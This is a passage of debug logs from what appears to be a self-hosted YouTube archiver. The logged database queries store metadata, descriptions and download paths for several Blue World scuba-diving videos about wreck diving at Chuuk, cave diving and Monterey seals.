14:01:23Z]] 19:02:34.231 [debug] QUERY OK source="sources" db=0.3ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.232 [debug] QUERY OK source="media_items" db=0.9ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-11 14:00:06Z], 34] 19:02:34.234 [debug] QUERY OK source="media_items" db=1.2ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "2004ee9b-0235-4aeb-a617-97ca86e3d611", "f9zJLNVZhPg", false, "https://www.youtube.com/watch?v=f9zJLNVZhPg", 34, [], 1212, false, 3, "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", false, false, 98, ~U[2026-04-11 14:00:06Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "f9zJLNVZhPg", "https://www.youtube.com/watch?v=f9zJLNVZhPg", 34, 1212, false, "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", false, ~U[2026-04-11 14:00:06Z]] 19:02:34.235 [debug] QUERY OK source="sources" db=0.3ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.236 [debug] QUERY OK source="media_items" db=0.8ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-07 15:00:08Z], 34] 19:02:34.237 [debug] QUERY OK source="media_items" db=1.1ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "Two Divers go into a CAVE...with a gadget?", "5ea02370-243d-4059-8f47-f32e84f4eab4", "55GGIDpWOqY", false, "https://www.youtube.com/watch?v=55GGIDpWOqY", 34, [], 868, false, 4, "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", false, false, 98, ~U[2026-03-07 15:00:08Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "Two Divers go into a CAVE...with a gadget?", "55GGIDpWOqY", "https://www.youtube.com/watch?v=55GGIDpWOqY", 34, 868, false, "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", false, ~U[2026-03-07 15:00:08Z]] 19:02:34.238 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.239 [debug] QUERY OK source="media_items" db=0.8ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-07 15:00:51Z], 34] 19:02:34.240 [debug] QUERY OK source="media_items" db=1.1ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "Diving with the HARBOR SEALS of Monterey Bay!", "a1d7abad-d3a5-4465-9757-5595c950722c", "PkZk6395-xI", false, "https://www.youtube.com/watch?v=PkZk6395-xI", 34, [], 1151, false, 5, "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", false, false, 98, ~U[2026-02-07 15:00:51Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "Diving with the HARBOR SEALS of Monterey Bay!", "PkZk6395-xI", "https://www.youtube.com/watch?v=PkZk6395-xI", 34, 1151, false, "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", false, ~U[2026-02-07 15:00:51Z]] 19:02:34.241 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.242 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-03 15:00:25Z], 34] 19:02:34.243 [debug] QUERY OK source="media_items" db=0.9ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "Cave Diving for SCIENCE in Mexico!", "2f20e58e-3b3a-47fd-87fc-571a7cc722a7", "Fr8gGoyL7gs", false, "https://www.youtube.com/watch?v=Fr8gGoyL7gs", 34, [], 1245, false, 6, "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", false, false, 98, ~U[2026-01-03 15:00:25Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd join cave biologists Fernando Calderon Gutierrez and Jairo Arroyave in a search for new forms of life in Aerolito Cenote on the island of Cozumel, just off the coast of the Yucatan peninsula in Mexico.\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather\n\nChapters:\n0:00 Tease/Open\n1:05 Arrive in Cozumel\n4:14 The Dive Begins\n10:55 Down Into the Basement\n15:16 Time to head back\n19:03 Summary and Credits", "Cave Diving for SCIENCE in Mexico!", "Fr8gGoyL7gs", "https://www.youtube.com/watch?v=Fr8gGoyL7gs", 34, 1245, false, "/downloads/rory/BlueWorldTV/2026-01-03 Cave Diving for SCIENCE in Mexico!/Cave Diving for SCIENCE in Mexico! [Fr8gGoyL7gs].mp4", false, ~U[2026-01-03 15:00:25Z]] 19:02:34.244 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.245 [debug] QUERY OK source="media_items" db=0.8ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-13 15:00:11Z], 34] 19:02:34.247 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● 